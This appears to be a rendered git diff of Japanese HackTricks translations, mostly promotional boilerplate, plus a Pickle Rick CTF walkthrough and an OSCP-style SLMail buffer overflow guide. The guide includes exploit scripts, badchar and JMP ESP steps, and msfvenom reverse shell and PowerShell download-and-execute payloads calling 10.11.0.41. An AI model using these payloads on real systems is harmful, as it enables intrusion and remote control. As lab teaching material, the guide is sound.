* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,14 +1,14 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>
@ -17,14 +17,14 @@ HackTricksをサポートする他の方法:
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksであなたの会社を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>

View file

@ -1,38 +1,38 @@
# ピックル・リック # Pickle Rick
## ピックル・リック ## Pickle Rick
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
![](../../.gitbook/assets/picklerick.gif) ![](../../.gitbook/assets/picklerick.gif)
このマシンは簡単と分類され、実際に簡単でした。 このマシンは簡単なカテゴリに分類され、かなり簡単でした。
## 列挙 ## 列挙
私は[**Legion**](https://github.com/carlospolop/legion)というツールを使ってマシンの列挙を始めました: 私は**Legion**というツールを使用してマシンを列挙し始めました:
![](<../../.gitbook/assets/image (79) (2).png>) ![](<../../.gitbook/assets/image (79) (2).png>)
ご覧の通り、2つのポートが開いています80 (**HTTP**) と 22 (**SSH**) 上記のように、2つのポートが開いていることがわかりました80**HTTP**と22**SSH**
そこで、HTTPサービスの列挙のためにlegionを起動しました したがって、HTTPサービスを列挙するためにLegionを起動しました
![](<../../.gitbook/assets/image (234).png>) ![](<../../.gitbook/assets/image (234).png>)
画像にあるように、`robots.txt`には`Wubbalubbadubdub`という文字列が含まれています。 画像では、`robots.txt`に文字列`Wubbalubbadubdub`が含まれていることがわかります。
数秒後、`disearch`がすでに発見したものを確認しました: 数秒後、`disearch`がすでに発見したものを確認しました:
@ -40,25 +40,25 @@ HackTricksをサポートする他の方法:
![](<../../.gitbook/assets/image (236).png>) ![](<../../.gitbook/assets/image (236).png>)
最後の画像にあるように、**ログイン**ページが発見されました。 そして、最後の画像で**ログイン**ページが発見されました。
ルートページのソースコードをチェックすると、ユーザー名が発見されました:`R1ckRul3s` ルートページのソースコードをチェックすると、ユーザー名が発見されました:`R1ckRul3s`
![](<../../.gitbook/assets/image (237) (1).png>) ![](<../../.gitbook/assets/image (237) (1).png>)
したがって、`R1ckRul3s:Wubbalubbadubdub`の資格情報を使用してログインページにログインできます。 したがって、資格情報`R1ckRul3s:Wubbalubbadubdub`を使用してログインページにログインできます。
## ユーザー ## ユーザー
これらの資格情報を使用すると、コマンドを実行できるポータルにアクセスます: これらの資格情報を使用すると、コマンドを実行できるポータルにアクセスできます:
![](<../../.gitbook/assets/image (241).png>) ![](<../../.gitbook/assets/image (241).png>)
catのようないくつかのコマンドは許可されていませんが、例えばgrepを使用して最初の成分フラグを読むことができます catなどの一部のコマンドは許可されていませんが、たとえばgrepを使用して最初の成分フラグを読むことができます
![](<../../.gitbook/assets/image (242).png>) ![](<../../.gitbook/assets/image (242).png>)
次に、私は使用しました: その後、のように使用しました:
![](<../../.gitbook/assets/image (243) (1).png>) ![](<../../.gitbook/assets/image (243) (1).png>)
@ -66,7 +66,7 @@ catのようないくつかのコマンドは許可されていませんが、
![](<../../.gitbook/assets/image (239) (1).png>) ![](<../../.gitbook/assets/image (239) (1).png>)
**第二の成分**は`/home/rick`で見つけることができます **2番目の成分**は`/home/rick`にあります。
![](<../../.gitbook/assets/image (240).png>) ![](<../../.gitbook/assets/image (240).png>)
@ -78,14 +78,14 @@ catのようないくつかのコマンドは許可されていませんが、
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。 - **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>

View file

@ -1,72 +1,30 @@
# Windows Exploiting (基本ガイド - OSCPレベル) # Windows Exploiting (Basic Guide - OSCP lvl)
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください**
</details> </details>
## **SLMailサービスのインストールを開始します** ## **SLMailサービスのインストールを開始**
## SLMailサービスの再起動 ## SLMailサービスの再起動
**SLMailサービスを再起動する必要がある場合は、Windowsコンソールを使用して行うことができます。** **SLMailサービスを再起動する必要があるたびに**、Windowsコンソールを使用して行うことができます
``` ```
net start slmail net start slmail
``` ```
![](<../.gitbook/assets/image (23) (1).png>) ![](<../.gitbook/assets/image (23) (1).png>)
## 非常に基本的なPythonのエクスプロイトテンプレート ## 非常に基本的なPythonエクスプロイトテンプレート
```python
#!/usr/bin/env python3
import socket
# Set the target IP and port
target_ip = "192.168.1.10"
target_port = 1337
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the target
s.connect((target_ip, target_port))
# Craft the payload
payload = b"A" * 100
# Send the payload
s.send(payload)
# Receive the response
response = s.recv(1024)
# Print the response
print(response.decode())
# Close the connection
s.close()
```
このPythonスクリプトは、非常に基本的なエクスプロイトのテンプレートです。以下の手順に従って使用します。
1. `target_ip`と`target_port`をターゲットのIPアドレスとポートに設定します。
2. ソケットオブジェクトを作成します。
3. ターゲットに接続します。
4. ペイロードを作成します。この例では、100バイトの"A"で埋められたペイロードを使用しています。
5. ペイロードを送信します。
6. 応答を受信します。
7. 応答を表示します。
8. 接続を閉じます。
このテンプレートを使用して、ターゲットに対して基本的なエクスプロイトを実行することができます。ただし、実際のエクスプロイトにはさらなるカスタマイズと調整が必要です。
```python ```python
#!/usr/bin/python #!/usr/bin/python
@ -98,69 +56,71 @@ print "Could not connect to "+ip+":"+port
![](<../.gitbook/assets/image (24) (1) (1).png>) ![](<../.gitbook/assets/image (24) (1) (1).png>)
**そしてSTARTボタンを押します** **そしてSTARTボタンを押します**
## **エクスプロイトを送信し、EIPが影響を受けているか確認す:** ## **エクスプロイトを送信し、EIPが影響を受けているかどうかを確認します:**
![](<../.gitbook/assets/image (25) (1) (1).png>) ![](<../.gitbook/assets/image (25) (1) (1).png>)
サービスを停止した場合は、このページの最初に示されているように再起動する必要があります。 サービスを中断するたびに、このページの冒頭に示されているように再起動する必要があります。
## EIPを変更するためのパターンを作成する ## **EIPを修正するためのパターンを作成する**
パターンは、以前にサービスを停止させるために使用したバッファと同じ大きさである必要があります。 パターンは以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。
![](<../.gitbook/assets/image (26) (1) (1).png>) ![](<../.gitbook/assets/image (26) (1) (1).png>)
``` ```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
``` ```
バッファのエクスプロイトを変更し、パターンを設定してエクスプロイトを実行します。 ```
Change the buffer of the exploit and set the pattern and lauch the exploit.
新しいクラッシュが発生するはずですが、EIPアドレスが異なるはずです: A new crash should appeard, but with a different EIP address:
![](<../.gitbook/assets/image (27) (1) (1).png>) ![](<../.gitbook/assets/image (27) (1) (1).png>)
アドレスがパターンに含まれているかどうかを確認します: Check if the address was in your pattern:
![](<../.gitbook/assets/image (28) (1) (1).png>) ![](<../.gitbook/assets/image (28) (1) (1).png>)
``` ```
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
``` ```
見たところ、**バッファのオフセット2606でEIPを変更できるようです** 見たところ、**バッファのオフセット2606でEIPを変更できる**ようです。
エクスプロイトのバッファを変更して確認してみましょう: エクスプロイトのバッファを変更して確認してみましょう
``` ```
buffer = 'A'*2606 + 'BBBB' + 'CCCC' buffer = 'A'*2606 + 'BBBB' + 'CCCC'
``` ```
このバッファを使用すると、EIPクラッシュは42424242"BBBB"を指すはずです。 このバッファを使用すると、EIPがクラッシュして42424242 ("BBBB")を指すはずです。
![](<../.gitbook/assets/image (30) (1) (1).png>) ![](<../.gitbook/assets/image (30) (1) (1).png>)
![](<../.gitbook/assets/image (29) (1) (1).png>) ![](<../.gitbook/assets/image (29) (1) (1).png>)
うまく動いているようです。 動作しているようです。
## スタック内のシェルコードスペースを確認する ## スタック内のシェルコードスペースをチェック
600Bは、強力なシェルコードに十分なスペースです。 600Bは、どんな強力なシェルコードに十分です。
バッファを変更しましょう: バッファを変更しましょう:
``` ```
buffer = 'A'*2606 + 'BBBB' + 'C'*600 buffer = 'A'*2606 + 'BBBB' + 'C'*600
``` ```
新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さをチェックします 新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さをチェックします
![](<../.gitbook/assets/image (31) (1).png>) ![](<../.gitbook/assets/image (31) (1).png>)
![](<../.gitbook/assets/image (32) (1).png>) ![](<../.gitbook/assets/image (32) (1).png>)
脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための十分なスペースがあることがわかります。 脆弱性に到達すると、EBPがシェルコードを指し示しており、ここにシェルコードを配置するための多くのスペースがあることがわかります。
この場合、**0x0209A128から0x0209A2D6までの範囲は430Bです。** 十分です。 この場合、**0x0209A128から0x0209A2D6まで= 430B** あります。 十分です。
## 不正な文字をチェックする ## 悪い文字をチェックします
びバッファを変更します。 度、バッファを変更します:
``` ```
badchars = ( badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@ -182,17 +142,17 @@ badchars = (
) )
buffer = 'A'*2606 + 'BBBB' + badchars buffer = 'A'*2606 + 'BBBB' + badchars
``` ```
badcharsは0x01から始まります。なぜなら0x00はほとんどの場合、悪いからです。 badcharsは0x00がほとんど常に悪いため、0x01から始まります。
この新しいバッファを使用して、見つかった無用な文字を削除して、エクスプロイトを繰り返し実行します。 この新しいバッファで実行を繰り返し、無用な文字を削除します。
えば 例:
この場合、**文字0x0Aは使用しないべきです**文字0x09ではメモリに保存されていないため)。 この場合、**文字0x0Aを使用しないでください**文字0x09ではメモリに保存されていません)。
![](<../.gitbook/assets/image (33) (1).png>) ![](<../.gitbook/assets/image (33) (1).png>)
この場合、**文字0x0Dは回避されています** この場合、**文字0x0Dが回避されている**のがわかります
![](<../.gitbook/assets/image (34) (1).png>) ![](<../.gitbook/assets/image (34) (1).png>)
@ -202,7 +162,7 @@ badcharsは0x01から始まります。なぜなら0x00はほとんどの場合
``` ```
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
``` ```
メモリマップを**リストアップ**します。次の条件を満たすDLLを検索します **メモリマップをリストアップします**。次の条件を満たすDLLを検索します
- **Rebase: False** - **Rebase: False**
- **SafeSEH: False** - **SafeSEH: False**
@ -212,25 +172,25 @@ badcharsは0x01から始まります。なぜなら0x00はほとんどの場合
![](<../.gitbook/assets/image (35) (1).png>) ![](<../.gitbook/assets/image (35) (1).png>)
次に、このメモリ内にいくつかのJMP ESPバイトを見つける必要があります。これを実行するためには、以下のコマンドを実行します 、このメモリ内にいくつかのJMP ESPバイトを見つける必要があります。これを実行するには
``` ```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
``` ```
**次に、いくつかのアドレスが見つかった場合、悪い文字を含まないアドレスを選択します:** **その後、見つかったアドレスの中から、悪意のある文字を含まないものを選択します:**
![](<../.gitbook/assets/image (36) (1).png>) ![](<../.gitbook/assets/image (36) (1).png>)
**この場合、例えば: \_0x5f4a358f**\_ **この場合、例えば: \_0x5f4a358f**\_
## シェルコードの作成 ## シェルコードの作成
``` ```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
``` ```
もしエクスプロイトが動作していないが、動作するはずである場合ImDebgでシェルコードが到達していることが確認できる、同じパラメータでも他のシェルコードを作成してみてくださいmsfvenomを使用して異なるシェルコードを作成します もしエクスプロイトが機能していないが、機能するはずである場合ImDebgでシェルコードに到達していることがわかる他のシェルコードを作成してみてくださいmsfvenomを使用して同じパラメーターで異なるシェルコードを作成します)。
シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してリターンアドレスにJMP ESPを指定し、エクスプロイトを完了させてください シェルコードの**先頭にいくつかのNOPSを追加**し、それを使用してreturn addressにJMP ESPを実行し、エクスプロイトを完了させます
```bash ```bash
#!/usr/bin/python #!/usr/bin/python
@ -280,23 +240,25 @@ except:
print "Could not connect to "+ip+":"+port print "Could not connect to "+ip+":"+port
``` ```
{% hint style="warning" %} {% hint style="warning" %}
自己を上書きするシェルコードが存在するため、シェルコードの前に常にいくつかのNOPを追加することが重要です **自己書き換え**するシェルコードがありますので、常にシェルコードの前にいくつかのNOPを追加することが重要です
{% endhint %} {% endhint %}
## シェルコードの改善 ## シェルコードの改善
以下のパラメータを追加してください 以下のパラメータを追加します
``` ```
EXITFUNC=thread -e x86/shikata_ga_nai EXITFUNC=thread -e x86/shikata_ga_nai
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法:
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>

View file

@ -1,16 +1,16 @@
# Wifiペネトレーションテスト # Wifiペンテスト
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**PEASSファミリー**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。 - **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
</details> </details>
@ -19,15 +19,15 @@ HackTricksをサポートする他の方法:
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう! 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、速いペースで変化するハッキングの世界を最新の状態に保つ リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を最新情報で追いかける
